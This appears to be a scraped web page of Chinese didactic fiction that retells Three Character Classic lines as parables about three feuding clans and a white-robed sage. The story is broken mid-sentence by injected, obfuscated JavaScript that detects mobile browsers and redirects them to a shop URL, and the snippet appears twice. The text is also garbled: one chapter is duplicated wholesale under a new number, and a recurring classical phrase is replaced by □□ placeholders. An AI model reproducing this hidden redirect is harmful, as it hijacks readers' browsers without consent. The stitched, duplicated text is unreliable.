容贤三要 - 容贤之要：人之有技，若己有之；人之彦圣，其心好之 - 蔽贤之害：媢疾以恶之，违之俾不通，实不能容 - 用贤之法：见贤能举，举而能先；见不善能退，退而能远 - 破解法：为官为长，自问“我可容贤？见贤能举否？举而能先否？见不善能退否？退而能远否？” 二、 三姓三蔽 - 上官氏蔽于“媢疾”——嫉贤妒能，实不能容 - 司马氏蔽于“命过”——见贤不举，举而不先 - 欧阳氏蔽于“拂性”——好恶反常，骄泰失道 - 惕世：多少上位者嫉贤妒能，打压才干？多少“伯乐”见贤不举，或举而不先？多少掌权者好恶拂性，亲小人远贤臣？ 三、 得失大道 - 君子有大道：必忠信以得之，骄泰以失之 - 深层隐喻：得贤在容，容贤在心。心胸休休，方能容人；心胸狭隘，必失贤才 - 终极指向：治国平天下，在得贤才；得贤才，在能容贤；能容贤，在去媢疾、举贤能、同好恶。此谓君子大道 容贤偈： 容州邑里三姓偏，各蔽贤才失本原。 上官媢疾不能容，贤才埋没邑凋残。 司马蔽贤举不先，寒士才女皆含冤。 欧阳拂性好恶反，亲奸远贤民怨谗。 三姓迷途不知返，容贤碑现血泪涟。 白衣点破容贤理，碑前指醒梦中贤。 人之有技若己有，彦圣心好实能容。 媢疾恶之实难容，不能保民亦殆焉。 见贤不举举不先，见恶不退退不远。 好恶拂性灾逮身，君子忠信得泰谦。 后世叹： 断断休休有容贤，人之有技若己有。 人之彦圣心好之，实能容之利子孙。 媢疾恶之实难容，不能保民亦殆云。 见贤不举举不先，见恶不退退不远。 好恶拂性灾逮身，君子忠信得泰谦。 三姓当初迷此理，各蔽贤才失本原。 容贤碑前现异象，白衣指点容贤篇。 正是： 治国平天下在贤，容贤之道要详参。 人之有技若己有，人之彦圣心好焉。 实能容之利子孙，媢疾恶之实难容。 见贤不举举不先，见恶不退退不远。 好恶拂性灾逮身，君子忠信得泰谦。 上官媢疾不能容，司马蔽贤命过愆。 欧阳拂性骄泰失，三姓迷途各倒颠。 白衣点破容贤理，容贤碑前指真诠。 80.性教谳 楔子·性教碑 岭南有山城名“开蒙邑”，城西“性教台”上立“性教碑”，碑分四面，分镌四训：正面“人之初，性本善”，字迹温润如璞玉；左面“性相近，□□”，字体清隽如行云；右面“苟不教，性乃迁”，笔意警醒如晨钟；背面“教之道，贵以专”，气势端凝如泰山。相传为前代蒙学大儒手书，百年风雨，墨痕如新。 邑中三大家族：慕容氏为武学世家，家主慕容公，信“性本善”而纵溺子弟，不教不导；公孙氏为书香门第，家主公孙公，明“性相近”而偏私教子，待人有别；钟离氏为商贾巨室，家主钟离公，知“贵以专”而教子偏执，唯务功名。三族皆重子弟教养，然各执一偏，邑中少年多歧途。 是年三月三，上巳节，性教碑忽生异象：“性本善”三字蒙尘如雾；“性相近”三字龟裂如隙；“贵以专”三字歪斜欲倒。三姓家主观碑，各怀忧虑。 三月十五，邑中蒙学开“开笔礼”，千童诵《三字经》。正诵至“人之初，性本善”一节，忽闻学塾中那方“开笔砚”发出“嗡”然清鸣——砚中墨汁无风自旋，一人自墨晕中踏光而出，如文气化形。 来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色鲛绡，眸光清亮如朝露；着一身云纹素罗深衣，衣摆以银丝绣着四幅图景：前为“孟母三迁”，左为“荀子劝学”，右为“程门立雪”，后为“朱子读书”，暗合“性教”之旨。外罩一件无袖素纱氅衣，氅角缀四枚玉圭，圭圭相叠寂然无声。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如书卷叠章，隐现翰墨芬芳。足踏素锦踏云履，履尖微翘，不染尘埃。 身形清雅，立于墨砚之侧，帷笠轻纱与墨香同漾，竟似从蒙学童声中化出的灵慧。台下观者瞠目，分不清是梦是真。 来人以木剑轻点砚中墨，墨汁跃起成珠： “苟不教，性乃迁！” 又点： “性相近，□□！” 再点： “教之道，贵以专！” 诵罢，木剑遥指性教碑：“三姓家主，可愿登台观碑？” 慕容、公孙、钟离三公相顾愕然。来人飘然下台，衣袂如流云舒卷：“某有三桩‘性教’公案，可请三公分观。观毕，再论教养。” 一、 不教之迁（慕容氏） 慕容氏为武学世家，家主慕容公。笃信“性本善”，以为天性自然，无须雕琢。对膝下三子，皆纵溺不教：长子慕容雄，年十八，好勇斗狠，常聚众滋事；次子慕容英，年十六，游手好闲，终日斗鸡走犬；幼子慕容杰，年十四，骄纵任性，动辄毁物伤人。慕容公皆笑曰：“孩童天性，长大自明。”昨日，三子于街市纵马，踏伤老妇，慕容公反斥老妇“挡道”。 来人引慕容公至“苟不教，性乃迁”碑前。六字歪斜，以手扶之，碑体微颤。慕容公蹙眉。 “苟不教，性乃迁。教之道，贵以专。”来人问，“慕容公可教子否？” 慕容公朗笑：“吾儿天性纯良，何须多教？” “玉不琢，不成器。性虽善，不教则迁。”来人召三子至前，问慕容雄：“汝好勇斗狠，是善是恶？”雄昂首：“大丈夫当如是！”问慕容英：“汝游手好闲，是善是恶？”英嬉笑：“人生苦短，及时行乐！”问慕容杰：“汝毁物伤人，是善是恶？”杰撇嘴：“吾父有财，赔便是！” 慕容公色变。来人叹：“人之初，性本善。然性相近，□□。三子本善，然公不教，习于恶行，性乃迁矣。今纵马伤人，他日或杀人越货，公能赔否？能纵否？” 恰此时，校场“武”字大旗“咔嚓”断裂，旗面委地。慕容公骇。来人道：“今有一法可解：严加管教，设家法，明规矩。教之以武德，导之以仁义。苟不教，性乃迁；苟教之，性可复。” 慕容公从之，即请严师，立家规，三子日习文武。是夜，“苟不教，性乃迁”六字渐正。来人教“性教法”：性本善，如璞玉；不教则瑕生，教则玉成。慕容氏自此重教，三子皆成材。 二、 相远之习（公孙氏） 公孙氏为书香门第，家主公孙公。深知“性相近，□□”，然教子待人，天差地别：对嫡子公孙文，延名师，购珍籍，呵护备至；对庶子公孙武，任其荒废，动辄斥骂。对门生故旧之子，亦分三六九等。昨日，庶子公孙武偶得佳句，求教于父，公孙公嗤曰：“庶子也配谈诗？” 来人引公孙公至“性相近，□□”碑前。六字龟裂，以指抚之，裂隙如沟。公孙公赧然。 “性相近，□□。教之道，贵以专。”来人问，“公孙公之教，可称专否？” 公孙公强道：“吾教子…尽心尽力…” “尽心于嫡，尽力于庶乎？”来人取两篇文章：一为嫡子文作，平庸而朱批满篇；一为庶子武作，佳句而只字未改。“同是子，性本相近。然公待之有殊，习乃相远。嫡子恃宠而骄，庶子自卑而弃。此非天性使然，实公偏私所致！” 公孙公汗出。来人叹：“孟子云：人皆可以为尧舜。苟得教育，皆可成材。公以嫡庶分高下，是自设藩篱，埋没英才。他日庶子怨愤，嫡子无能，门庭衰败，谁之过？” 又引至家塾，见嫡子趾高气扬，庶子瑟缩墙角。问：“同室而学，同气连枝，何以天渊之别？性相近，□□。公之教，是使之近，是使之远？” 恰此时，家塾“诗礼传家”匾额一角坠落。公孙公惧。来人道：“今有一法可解：一视同仁，因材施教。嫡庶皆子，门生皆徒。教之道，贵以专——专于教，非专于嫡。” 公孙公从之，即延师教庶子，待门生无别。是夜，“性相近，□□”六字裂隙渐合。来人教“专教法”：教之道，在专一。专于育才，非专于偏爱。公孙氏自此公平，二子皆成器。 三、 贵专之偏（钟离氏） 钟离氏为商贾巨室，家主钟离公。深信“教之道，贵以专”，然专而偏执：逼独子钟离秀专攻举业，禁绝一切杂学。钟离秀年十五，已考取童生，然体弱多病，性情孤僻。昨日，钟离秀欲学画，钟离公怒撕画具，叱曰：“万般皆下品，惟有读书高！” 来人引钟离公至“教之道，贵以专”碑前。四字歪斜，以手正之，碑体晃动。钟离公不悦。 “教之道，贵以专。然专者，非偏也。”来人取钟离秀诗文，虽工整，然无生气；观其形容，面色苍白，目无神采。“公之教，专乎？偏乎？专于举业，而偏于身心。子有画才，公扼杀之；子需休憩，公逼迫之。如此专教，是育人，是毁人？” 钟离公强辩：“科举正道，自当专攻…” “正道非窄道。”来人叹，“昔孔子教六艺：礼、乐、射、御、书、数，未曾偏废。公只教‘书’，是得孔子之旨，是失孔子之教？教之道，贵以专——专于成人之道，非专于功名之途。” 又引至钟离秀书房，见四壁皆经书，无一件玩物。秀垂首默坐，如笼中鸟。问：“此子可快活？可康健？可成‘人’？公以专教为名，行桎梏之实，他日纵中状元，而身心俱毁，公何所乐？” 恰此时，书房梁上“书香门第”匾额绳索骤断，匾落尘埃。钟离公惊。来人道：“今有一法可解：广开艺途，张弛有度。教之道，贵以专——专于其性，顺其自然。科举可攻，然需兼修六艺，以全其性。” 钟离公从之，即允秀学画习武，劳逸结合。是夜，“教之道，贵以专”四字复正。来人教“全教法”：教贵专，非贵偏。专于成人之道，则文武兼修，德才兼备。钟离氏自此开明，秀后中举人，书画双绝。 四、 性教会 三姓悔改，聚于性教台。来人指碑全文： “人之初，性本善。性相近，□□。苟不教，性乃迁。教之道，贵以专。今三公各得其要：慕容公知教，公孙公知公，钟离公知全。善哉！” 慕容公问：“吾等已改，然邑中仍有纵溺、偏私、偏执之教，何以化之？” “以性教化之。”来人召邑民聚台下，令三公自述其过。 慕容公述纵溺：“吾信性本善，纵溺不教。今知苟不教，性乃迁。愿严加管教，导之以正。” 公孙公述偏私：“吾明性相近，然待子不公。今知教之道，贵以专——专于教，非专于嫡。愿一视同仁，因材施教。” 钟离公述偏执：“吾知贵以专，然专而偏狭。今知教贵专于成人之道，非专于功名。愿广开艺门，顺性而教。” 邑民闻之，多有感泣。有纵溺者惭，有偏私者悔，有偏执者悟。三月间，邑中教风焕然。 来人教“性教化民法”：择邑中贤者，立“性教堂”，每月朔望，聚于台下，以“有教无类，因材施教”相劝勉。又制“性教榜”，彰善纠偏。 五、 习远谳 九月初九，重阳日，开蒙邑办“性教祭”，三姓共主祭。忽有山匪聚众，欲劫掠邑中蒙学，掳童子为质。邑民惊惧，来人止之，召三姓家主并邑中耆老，会于性教台。 是日，祭典方启，主祭人正诵“教之道，贵以专”，忽闻祭坛中央那尊青铜“性教鼎”发出“嗡”然长鸣——鼎内本焚着香木，此刻青烟凝聚，竟自鼎腹中化出一道人形，踏烟凌虚，如文星临凡。 来人帷笠素纱，白衣胜雪，木剑悬腰，立于鼎耳之上，衣袂与香烟同舞。 “善哉！三公已得性教之要。”来人朗声道，“人之初，性本善。然苟不教，性乃迁。今山匪为恶，是性迁也。我邑蒙童，性本善而教以专，可化之否？” 飞身而下，如白鹤掠地，点尘不惊。取木剑画地成策：“匪亦人子，初性本善。今为恶，是未教也。可遣三子往说之：慕容雄示以武德，公孙武示以诗文，钟离秀示以书画。匪见童子知礼有才，或生惭愧，或受感化。若执迷，再以武慑之。” 三公从之。慕容雄率家丁布阵，示以“武以止戈”；公孙武诵《孝经》《论语》，示以“文以化人”；钟离秀展山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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性近习远成天渊。 钟离偏执教子窄， 贵专失全子孱弱。 三姓迷途不知返， 性教碑现警世言。 白衣点破性教理， 碑前指醒梦中贤。” 士子叹服。是夜，宿城中，梦来人踏月而至，以木剑点其额：“子若为师，可知性教之道？人之初，性本善否？性相近，□□否？苟不教，性乃迁否？教之道，贵以专否？若明此理，则教化可成矣。” 士子惊寤，汗透重衣。翌日，焚却门户之见，开馆授徒，有教无类。后成一代宗师，门下桃李满天下。 城中性教碑，后人建“性教阁”护之，阁悬联：“人之初性本善贵教，性相近习相远在专”。有教子无方者临碑，碑面自现箴言。人传：“此乃白衣仙人所留性教鉴也。” 本章诫世 一、 性教四训 - 人之初，性本善 - 性相近，□□ - 苟不教，性乃迁 - 教之道，贵以专 - 破解法：为人父母师长，自问“待子可教否？教之可公否？公之可专否？专之可全否？” 二、 三姓三偏 - 慕容氏偏于“不教”——信性本善而纵溺，致性乃迁 - 公孙氏偏于“不公”——明性相近而偏私，致□□ - 钟离氏偏于“不专”——知贵以专而偏执，致教失全 - 惕世：多少父母溺爱纵容，而子女为恶？多少师长偏私不公，而人才埋没？多少教者偏执一途，而扼杀灵性？ 三、 教养大道 - 深层隐喻：性如璞玉，教如琢磨。不教则瑕生，教则玉成。教之道，在因材施教，在持之以恒 - 终极指向：治国平天下，在教化。教以明性，化以成习。人人得教，则天下皆善 性教偈： 开蒙邑里三姓偏，各失性教误子弟。 慕容纵溺不教子，性迁为恶悔已迟。 公孙偏私待子殊，性近习远成参差。 钟离偏执教子窄，贵专失全子孱弱。 三姓迷途不知返，性教碑现警世辞。 白衣点破性教理，碑前指醒梦中痴。 人之初人性本善，性相近兮□□。 苟不教则性乃迁，教之道兮贵以专。 慕容悔悟严管教，公孙公平教无偏。 钟离开明全子性，三姓归正子弟贤。 后世叹： 人之初人性本善，性相近兮□□。 苟不教则性乃迁，教之道兮贵以专。 慕容纵溺子为恶，公孙偏私子成怨。 钟离偏执子孱弱，三姓迷途各倒颠。 性教碑前现异象，白衣指点性教篇。 正是： 治国平天下在教，性教之道要记牢。 人之初人性本善，性相近兮□□。 苟不教则性乃迁，教之道兮贵以专。 慕容纵溺不教子，公孙偏私待子偏。 钟离偏执教子窄，三姓迷途各倒颠。 白衣点破性教理，性教碑前指真诠。 81.性教谳 楔子·性教碑 岭南有山城名“开蒙邑”，城西“性教台”上立“性教碑”，碑分四面，分镌四训：正面“人之初，性本善”，字迹温润如璞玉；左面“性相近，□□”，字体清隽如行云；右面“苟不教，性乃迁”，笔意警醒如晨钟；背面“教之道，贵以专”，气势端凝如泰山。相传为前代蒙学大儒手书，百年风雨，墨痕如新。 邑中三大家族：慕容氏为武学世家，家主慕容公，信“性本善”而纵溺子弟，不教不导；公孙氏为书香门第，家主公孙公，明“性相近”而偏私教子，待人有别；钟离氏为商贾巨室，家主钟离公，知“贵以专”而教子偏执，唯务功名。三族皆重子弟教养，然各执一偏，邑中少年多歧途。 是年三月三，上巳节，性教碑忽生异象：“性本善”三字蒙尘如雾；“性相近”三字龟裂如隙；“贵以专”三字歪斜欲倒。三姓家主观碑，各怀忧虑。 三月十五，邑中蒙学开“开笔礼”，千童诵《三字经》。正诵至“人之初，性本善”一节，忽闻学塾中那方“开笔砚”发出“嗡”然清鸣——砚中墨汁无风自旋，一人自墨晕中踏光而出，如文气化形。 来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色鲛绡，眸光清亮如朝露；着一身云纹素罗深衣，衣摆以银丝绣着四幅图景：前为“孟母三迁”，左为“荀子劝学”，右为“程门立雪”，后为“朱子读书”，暗合“性教”之旨。外罩一件无袖素纱氅衣，氅角缀四枚玉圭，圭圭相叠寂然无声。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如书卷叠章，隐现翰墨芬芳。足踏素锦踏云履，履尖微翘，不染尘埃。 身形清雅，立于墨砚之侧，帷笠轻纱与墨香同漾，竟似从蒙学童声中化出的灵慧。台下观者瞠目，分不清是梦是真。 来人以木剑轻点砚中墨，墨汁跃起成珠： “苟不教，性乃迁！” 又点： “性相近，□□！” 再点： “教之道，贵以专！” 诵罢，木剑遥指性教碑：“三姓家主，可愿登台观碑？” 慕容、公孙、钟离三公相顾愕然。来人飘然下台，衣袂如流云舒卷：“某有三桩‘性教’公案，可请三公分观。观毕，再论教养。” 一、 不教之迁（慕容氏） 慕容氏为武学世家，家主慕容公。笃信“性本善”，以为天性自然，无须雕琢。对膝下三子，皆纵溺不教：长子慕容雄，年十八，好勇斗狠，常聚众滋事；次子慕容英，年十六，游手好闲，终日斗鸡走犬；幼子慕容杰，年十四，骄纵任性，动辄毁物伤人。慕容公皆笑曰：“孩童天性，长大自明。”昨日，三子于街市纵马，踏伤老妇，慕容公反斥老妇“挡道”。 来人引慕容公至“苟不教，性乃迁”碑前。六字歪斜，以手扶之，碑体微颤。慕容公蹙眉。 “苟不教，性乃迁。教之道，贵以专。”来人问，“慕容公可教子否？” 慕容公朗笑：“吾儿天性纯良，何须多教？” “玉不琢，不成器。性虽善，不教则迁。”来人召三子至前，问慕容雄：“汝好勇斗狠，是善是恶？”雄昂首：“大丈夫当如是！”问慕容英：“汝游手好闲，是善是恶？”英嬉笑：“人生苦短，及时行乐！”问慕容杰：“汝毁物伤人，是善是恶？”杰撇嘴：“吾父有财，赔便是！” 慕容公色变。来人叹：“人之初，性本善。然性相近，□□。三子本善，然公不教，习于恶行，性乃迁矣。今纵马伤人，他日或杀人越货，公能赔否？能纵否？” 恰此时，校场“武”字大旗“咔嚓”断裂，旗面委地。慕容公骇。来人道：“今有一法可解：严加管教，设家法，明规矩。教之以武德，导之以仁义。苟不教，性乃迁；苟教之，性可复。” 慕容公从之，即请严师，立家规，三子日习文武。是夜，“苟不教，性乃迁”六字渐正。来人教“性教法”：性本善，如璞玉；不教则瑕生，教则玉成。慕容氏自此重教，三子皆成材。 二、 相远之习（公孙氏） 公孙氏为书香门第，家主公孙公。深知“性相近，□□”，然教子待人，天差地别：对嫡子公孙文，延名师，购珍籍，呵护备至；对庶子公孙武，任其荒废，动辄斥骂。对门生故旧之子，亦分三六九等。昨日，庶子公孙武偶得佳句，求教于父，公孙公嗤曰：“庶子也配谈诗？” 来人引公孙公至“性相近，□□”碑前。六字龟裂，以指抚之，裂隙如沟。公孙公赧然。 “性相近，□□。教之道，贵以专。”来人问，“公孙公之教，可称专否？” 公孙公强道：“吾教子…尽心尽力…” “尽心于嫡，尽力于庶乎？”来人取两篇文章：一为嫡子文作，平庸而朱批满篇；一为庶子武作，佳句而只字未改。“同是子，性本相近。然公待之有殊，习乃相远。嫡子恃宠而骄，庶子自卑而弃。此非天性使然，实公偏私所致！” 公孙公汗出。来人叹：“孟子云：人皆可以为尧舜。苟得教育，皆可成材。公以嫡庶分高下，是自设藩篱，埋没英才。他日庶子怨愤，嫡子无能，门庭衰败，谁之过？” 又引至家塾，见嫡子趾高气扬，庶子瑟缩墙角。问：“同室而学，同气连枝，何以天渊之别？性相近，□□。公之教，是使之近，是使之远？” 恰此时，家塾“诗礼传家”匾额一角坠落。公孙公惧。来人道：“今有一法可解：一视同仁，因材施教。嫡庶皆子，门生皆徒。教之道，贵以专——专于教，非专于嫡。” 公孙公从之，即延师教庶子，待门生无别。是夜，“性相近，□□”六字裂隙渐合。来人教“专教法”：教之道，在专一。专于育才，非专于偏爱。公孙氏自此公平，二子皆成器。 三、 贵专之偏（钟离氏） 钟离氏为商贾巨室，家主钟离公。深信“教之道，贵以专”，然专而偏执：逼独子钟离秀专攻举业，禁绝一切杂学。钟离秀年十五，已考取童生，然体弱多病，性情孤僻。昨日，钟离秀欲学画，钟离公怒撕画具，叱曰：“万般皆下品，惟有读书高！” 来人引钟离公至“教之道，贵以专”碑前。四字歪斜，以手正之，碑体晃动。钟离公不悦。 “教之道，贵以专。然专者，非偏也。”来人取钟离秀诗文，虽工整，然无生气；观其形容，面色苍白，目无神采。“公之教，专乎？偏乎？专于举业，而偏于身心。子有画才，公扼杀之；子需休憩，公逼迫之。如此专教，是育人，是毁人？” 钟离公强辩：“科举正道，自当专攻…” “正道非窄道。”来人叹，“昔孔子教六艺：礼、乐、射、御、书、数，未曾偏废。公只教‘书’，是得孔子之旨，是失孔子之教？教之道，贵以专——专于成人之道，非专于功名之途。” 又引至钟离秀书房，见四壁皆经书，无一件玩物。秀垂首默坐，如笼中鸟。问：“此子可快活？可康健？可成‘人’？公以专教为名，行桎梏之实，他日纵中状元，而身心俱毁，公何所乐？” 恰此时，书房梁上“书香门第”匾额绳索骤断，匾落尘埃。钟离公惊。来人道：“今有一法可解：广开艺途，张弛有度。教之道，贵以专——专于其性，顺其自然。科举可攻，然需兼修六艺，以全其性。” 钟离公从之，即允秀学画习武，劳逸结合。是夜，“教之道，贵以专”四字复正。来人教“全教法”：教贵专，非贵偏。专于成人之道，则文武兼修，德才兼备。钟离氏自此开明，秀后中举人，书画双绝。 四、 性教会 三姓悔改，聚于性教台。来人指碑全文： “人之初，性本善。性相近，□□。苟不教，性乃迁。教之道，贵以专。今三公各得其要：慕容公知教，公孙公知公，钟离公知全。善哉！” 慕容公问：“吾等已改，然邑中仍有纵溺、偏私、偏执之教，何以化之？” “以性教化之。”来人召邑民聚台下，令三公自述其过。 慕容公述纵溺：“吾信性本善，纵溺不教。今知苟不教，性乃迁。愿严加管教，导之以正。” 公孙公述偏私：“吾明性相近，然待子不公。今知教之道，贵以专——专于教，非专于嫡。愿一视同仁，因材施教。” 钟离公述偏执：“吾知贵以专，然专而偏狭。今知教贵专于成人之道，非专于功名。愿广开艺门，顺性而教。” 邑民闻之，多有感泣。有纵溺者惭，有偏私者悔，有偏执者悟。三月间，邑中教风焕然。 来人教“性教化民法”：择邑中贤者，立“性教堂”，每月朔望，聚于台下，以“有教无类，因材施教”相劝勉。又制“性教榜”，彰善纠偏。 五、 习远谳 九月初九，重阳日，开蒙邑办“性教祭”，三姓共主祭。忽有山匪聚众，欲劫掠邑中蒙学，掳童子为质。邑民惊惧，来人止之，召三姓家主并邑中耆老，会于性教台。 是日，祭典方启，主祭人正诵“教之道，贵以专”，忽闻祭坛中央那尊青铜“性教鼎”发出“嗡”然长鸣——鼎内本焚着香木，此刻青烟凝聚，竟自鼎腹中化出一道人形，踏烟凌虚，如文星临凡。 来人帷笠素纱，白衣胜雪，木剑悬腰，立于鼎耳之上，衣袂与香烟同舞。 “善哉！三公已得性教之要。”来人朗声道，“人之初，性本善。然苟不教，性乃迁。今山匪为恶，是性迁也。我邑蒙童，性本善而教以专，可化之否？” 飞身而下，如白鹤掠地，点尘不惊。取木剑画地成策：“匪亦人子，初性本善。今为恶，是未教也。可遣三子往说之：慕容雄示以武德，公孙武示以诗文，钟离秀示以书画。匪见童子知礼有才，或生惭愧，或受感化。若执迷，再以武慑之。” 三公从之。慕容雄率家丁布阵，示以“武以止戈”；公孙武诵《孝经》《论语》，示以“文以化人”；钟离秀展山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107404|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水画卷，示以“美以动心”。匪首本粗人，见童子知书达理，武艺不凡，书画怡情，惭而叹：“吾等为生计所迫，不得已为匪。今见童子如此，何忍加害？”遂解甲请罪，愿受教化。 邑中文士叹曰：“昔三公教子无方，子弟或暴或庸或弱；今三公教子有方，子弟文武双全，竟能化匪。此谓‘教之道，贵以专’也！” 来人登台顶，临风而立，诵《三字经》此章，声清越如玉磬。诵罢，谓众曰：“人之初，性本善。性相近，□□。苟不教，性乃迁。教之道，贵以专。今邑中蒙童皆得善教，性未迁而习向善，何匪不化？” 慕容公拜问：“先生将去，何以长守此教？” 来人指心：“教在汝心，性在汝行。但时时自问：待子可教否？教之可公否？公之可专否？专之可全否？若然，则性教成矣。” 言毕，纵身跃上性教碑顶，足尖一点“教”字，身形如白虹经天，没入云霄。众人仰观，唯见碑文光华流转，性教之义粲然。 尾声性教谣 十年后，开蒙邑更名“性教城”。三姓互通婚姻，无分嫡庶。城中设“性教学塾”，童蒙入学，先诵此章。有游学士子过境，见城中“童子知礼，少年有德，青年有为”，问：“此城何化若此？” 老者答：“教以专，性乃善。” “何以至此？” 童子诵《性教谣》： “治国平天下在教， 性教之道要记牢。 人之初人性本善， 性相近兮□□。 苟不教则性乃迁， 教之道兮贵以专。 慕容纵溺不教子， 性迁为恶悔已晚。 公孙偏私待子殊， 性近习远成天渊。 钟离偏执教子窄， 贵专失全子孱弱。 三姓迷途不知返， 性教碑现警世言。 白衣点破性教理， 碑前指醒梦中贤。” 士子叹服。是夜，宿城中，梦来人踏月而至，以木剑点其额：“子若为师，可知性教之道？人之初，性本善否？性相近，□□否？苟不教，性乃迁否？教之道，贵以专否？若明此理，则教化可成矣。” 士子惊寤，汗透重衣。翌日，焚却门户之见，开馆授徒，有教无类。后成一代宗师，门下桃李满天下。 城中性教碑，后人建“性教阁”护之，阁悬联：“人之初性本善贵教，性相近习相远在专”。有教子无方者临碑，碑面自现箴言。人传：“此乃白衣仙人所留性教鉴也。” 本章诫世 一、 性教四训 - 人之初，性本善 - 性相近，□□ - 苟不教，性乃迁 - 教之道，贵以专 - 破解法：为人父母师长，自问“待子可教否？教之可公否？公之可专否？专之可全否？” 二、 三姓三偏 - 慕容氏偏于“不教”——信性本善而纵溺，致性乃迁 - 公孙氏偏于“不公”——明性相近而偏私，致□□ - 钟离氏偏于“不专”——知贵以专而偏执，致教失全 - 惕世：多少父母溺爱纵容，而子女为恶？多少师长偏私不公，而人才埋没？多少教者偏执一途，而扼杀灵性？ 三、 教养大道 - 深层隐喻：性如璞玉，教如琢磨。不教则瑕生，教则玉成。教之道，在因材施教，在持之以恒 - 终极指向：治国平天下，在教化。教以明性，化以成习。人人得教，则天下皆善 性教偈： 开蒙邑里三姓偏，各失性教误子弟。 慕容纵溺不教子，性迁为恶悔已迟。 公孙偏私待子殊，性近习远成参差。 钟离偏执教子窄，贵专失全子孱弱。 三姓迷途不知返，性教碑现警世辞。 白衣点破性教理，碑前指醒梦中痴。 人之初人性本善，性相近兮□□。 苟不教则性乃迁，教之道兮贵以专。 慕容悔悟严管教，公孙公平教无偏。 钟离开明全子性，三姓归正子弟贤。 后世叹： 人之初人性本善，性相近兮□□。 苟不教则性乃迁，教之道兮贵以专。 慕容纵溺子为恶，公孙偏私子成怨。 钟离偏执子孱弱，三姓迷途各倒颠。 性教碑前现异象，白衣指点性教篇。 正是： 治国平天下在教，性教之道要记牢。 人之初人性本善，性相近兮□□。 苟不教则性乃迁，教之道兮贵以专。 慕容纵溺不教子，公孙偏私待子偏。 钟离偏执教子窄，三姓迷途各倒颠。 白衣点破性教理，性教碑前指真诠。 82.孟邻谳 楔子·孟邻碑 河东有古城名“择邻邑”，城北“三迁台”上立“孟邻碑”，碑分两面，一面镌“昔孟母，择邻处”，字迹温润如慈母手泽；一面镌“子不学，断机杼”，笔锋刚劲如利剑断帛。相传为前代贤母所立，百年风雨，碑体莹然有光。 邑中三大族姓：西门氏为市井豪商，家宅左邻赌坊，右接酒肆，子弟多染恶习；南宫氏为书香门第，宅邻花街柳巷，子弟多务浮华；东郭氏为耕读传家，宅近屠宰之所，子弟多闻腥膻。三族皆知孟母三迁故事，然或固守祖宅，或择邻不当，子弟多有不肖。 是年寒食，孟邻碑忽生异象：“择邻处”三字蒙尘如雾；“断机杼”三字丝络毕现，竟有断痕。三姓家主观碑，各怀忧虑。 四月十五，邑中行“开蒙礼”，百童诵《三字经》。正诵至“昔孟母，择邻处”一节，忽闻蒙馆中那架“断机”教具发出“铮”然裂帛之音——本是仿制的断机模型，此刻机杼自折，一人自断丝中踏光而出，如慈训化形。 来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色鲛绡，眸光清亮如秋水；着一身云纹素罗深衣，衣摆以银丝绣着两幅图景：左为“孟母三迁”，右为“断机教子”，暗合“孟邻”之旨。外罩一件无袖素纱氅衣，氅角缀两枚玉梭，梭梭相叠寂然无声。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如织锦经纬，隐现丝缕分明。足踏素锦步云履，履尖微翘，不染尘埃。 身形清雅，立于断机之侧，帷笠轻纱与断丝同垂，竟似从母教中化出的精魂。台下观者愕然，分不清是真是幻。 来人以木剑轻触断丝，丝弦自鸣： “子不学，断机杼！” 剑尖再点： “昔孟母，择邻处！” 诵罢，木剑遥指孟邻碑：“三姓家主，可愿登台观碑？” 西门、南宫、东郭三公相顾惊疑。来人飘然下台，衣袂如流云舒卷：“某有三桩‘孟邻’公案，可请三公分观。观毕，再论邻处。” 一、 不择之害（西门氏） 西门氏为市井豪商，宅第位于城西闹市，左邻“千金赌坊”，右接“醉仙酒肆”，门前终日车马喧嚣。家主西门公，深信“富贵不移”，言：“吾家资巨万，何惧赌酒之邻？”长子西门庆，年十六，日与赌徒厮混，已输银三千两；次子西门福，年十四，常与酒客为伍，酗酒滋事。西门公每加训斥，二子反唇：“邻皆如此，何独责我？” 来人引西门公至“昔孟母，择邻处”碑前。三字蒙尘，以袖拂之，尘灰飞扬。西门公掩面。 “昔孟母，择邻处。子不学，断机杼。”来人问，“西门公可知孟母三迁？” 西门公强笑：“市井传言，何足为信？” “孟母三迁，岂是传言？”来人召西门庆、西门福至前，问庆：“赌坊可好？”庆眉飞色舞：“一掷千金，快哉！”问福：“酒肆可妙？”福醉眼朦胧：“一醉解忧，乐哉！” 西门公色变。来人叹：“近朱者赤，近墨者黑。孟母三迁，为避恶邻。公宅邻赌坊酒肆，子弟日染恶习，公不择邻，是爱子，是害子？” 又引至宅前，但见赌徒呼卢喝雄，酒客喧哗骂座。问：“公可闻其声？可见其行？子弟耳濡目染，安得不效？他日倾家荡产，身败名裂，公悔之何及？” 恰此时，宅门“积善之家”匾额“咔嚓”裂开。西门公骇。来人道：“今有一法可解：迁居择邻。孟母三迁，公何惜一迁？择良邻而处，子弟自正。” 西门公沉吟：“祖宅百年，岂可轻弃？” “祖宅可贵，子嗣更贵。孟母可三迁，公何惜一迁？”来人正色，“或可严加管束，禁绝出入。然防不胜防，不若迁居。” 西门公从之，即购城东清净宅院，举家迁居。是夜，“择邻处”三字尘灰自落。来人教“择邻法”：邻为镜，照子弟。择良邻，如择良师。西门氏迁居后，二子远离赌酒，渐归正途。 二、 误择之失（南宫氏） 